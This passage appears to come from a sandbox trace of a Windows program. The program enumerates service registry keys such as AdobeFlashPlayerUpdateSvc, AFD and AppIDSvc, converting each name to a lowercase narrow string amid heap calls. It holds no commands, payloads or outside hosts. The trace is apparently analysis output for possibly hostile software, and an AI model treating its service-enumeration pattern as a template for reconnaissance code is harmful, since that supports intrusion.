dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0258.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0258.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0258.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0258.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 